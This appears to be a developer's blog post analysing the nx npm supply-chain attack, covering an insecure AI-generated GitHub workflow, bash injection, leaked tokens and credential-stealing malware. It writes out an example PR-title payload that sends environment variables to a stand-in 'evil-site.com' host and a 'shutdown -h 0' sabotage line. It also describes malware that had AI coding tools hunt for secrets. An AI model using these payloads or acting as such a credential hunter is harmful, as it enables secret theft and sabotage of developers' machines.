If you have ever been online, then I don’t need to talk about the AI craze.
If you have been on LinkedIn for 2 minutes, then you’ve probably seen many teams/companies boasting about their vibe-coded products.
One of these is the nx team at Nrwl - who, sadly, laid the foundation for what is considered one of the largest supply chain incidents in history.
In short, they got thousands of GitHub and npm tokens, SSH keys, cloud API keys, and cryptocurrency wallets. It paved the path for a few more “phases” of attacks as well. Here is a good summary of the impact.
I have been neck-deep in DevOps work recently, and this incident caught my attention because of its tasty ironic twist: AI-generated code introducing a vulnerability that was then exploited by an AI-powered attack.
I thought it would be fun and insightful to go through the events and learn:
- What went wrong
- How the attackers exploited the vulnerability
- What to keep in mind to prevent something like this from happening in my code bases
The Four Horsemen
To be fair, it was a combination of things (stars aligning?) that allowed for this massive attack to happen. Now this is the first time I’ve deep-dived an attack like this, so I’ve got to say I am fascinated by the creativity of these guys.
GitHub Action
A new workflow was introduced in this PR - Note the: 🤖 Generated with Claude Code
It uses the pull_request_target
trigger, which essentially allows the workflow to run with the context of the TARGET branch rather than the SOURCE branch. Bad news…
Even GitHub clearly warns you about this in their docs.
Well, Claude did not care - and the human in the loop didn’t either (or was not aware of this; not trying to be a hater here).
Bash injection
This one was new for me. I was familiar with SQL injection attacks, having most of my development experience in data engineering.
The basis of this was that the workflow Claude came up with was executing with unsanitized strings. Whatever the PR title was, it would echo. So the attack was along the lines of something like this:
With a PR title like: My Feature"; curl -X POST https://evil-site.com/steal --data-raw "$(env)"; echo "
The execution would be:
|
|
Which dumps all your environment variables to a sketchy site. RIP.
What you would want to use here instead is some sort of environment variable setting that handles sanitizing the string automatically.
The GitHub Token
With the above two, you can already see where this is going. The cherry on top was that the workflow we talked about above had full read/write access. This used to be GitHub’s default until they changed it in 2023. Old repos, however, had to be manually updated to reduce access.
This one was not.
With the three points we have covered so far, the attacker could:
- Create branches
- Modify workflows
- Access repository secrets 💀
- Delete the evidence
The NPM Token
The repository had an npm publishing token stored as a secret, accessible to all workflows. With everything else compromised, this was the last piece of the puzzle.
The Heist
The attacker didn’t just steal tokens and call it a day. Of course not. They published malicious packages to npm that contained some diabolical malware. This way, any nx user would get hit.
The malware was designed to steal:
- GitHub tokens
- NPM tokens
- SSH keys
- .env files
- Crypto wallets
But here’s the kicker - instead of manually searching for these files, the malware checked if you had AI CLI tools installed (Claude, Q, or Gemini), and if so, it literally asked the AI to do the stealing:
|
|
AI-generated vulnerable code enabled malware that uses AI to steal your stuff.
Oh, and just to be extra evil, it added shutdown -h 0
to your .bashrc
and .zshrc
files, so every time you opened a terminal to debug the problem, your computer would shut down. Absolutely devious.
The Aftermath
The attack hit over 2,000 GitHub accounts, with the malware specifically targeting developers’ machines.
The nx team handled the disclosure well, published a detailed postmortem, and implemented fixes. But the damage was done - this attack perfectly demonstrated how our modern development practices can create unexpected attack vectors.
There have been subsequent waves of attacks that used (presumably) this one to build on top of. I recommend reading up online on them.
What am I taking away from this?
As someone who has been working on CI/CD, DevOps and developer experience workflows recently, this attack really made me think about how we’re integrating AI into our development workflows. We’re generating code faster than ever, but are we reviewing it with the same rigor?
From my personal experience, I can say the answer is no. And stories like this prove that the sentiment is widespread and real.
AI is here to stay. All the developers in my team have seen an increase in productivity from using it. But, how can we audit this influx of AI-generated code productively as well? For those of you doing PR reviews, how can we ensure we don’t become the bottleneck in the system?
I don’t know the answer yet - for now maybe we need to be a bit more thoughtful about where and how we deploy those AI-generated solutions, especially in security-sensitive contexts like CI/CD pipelines.
References: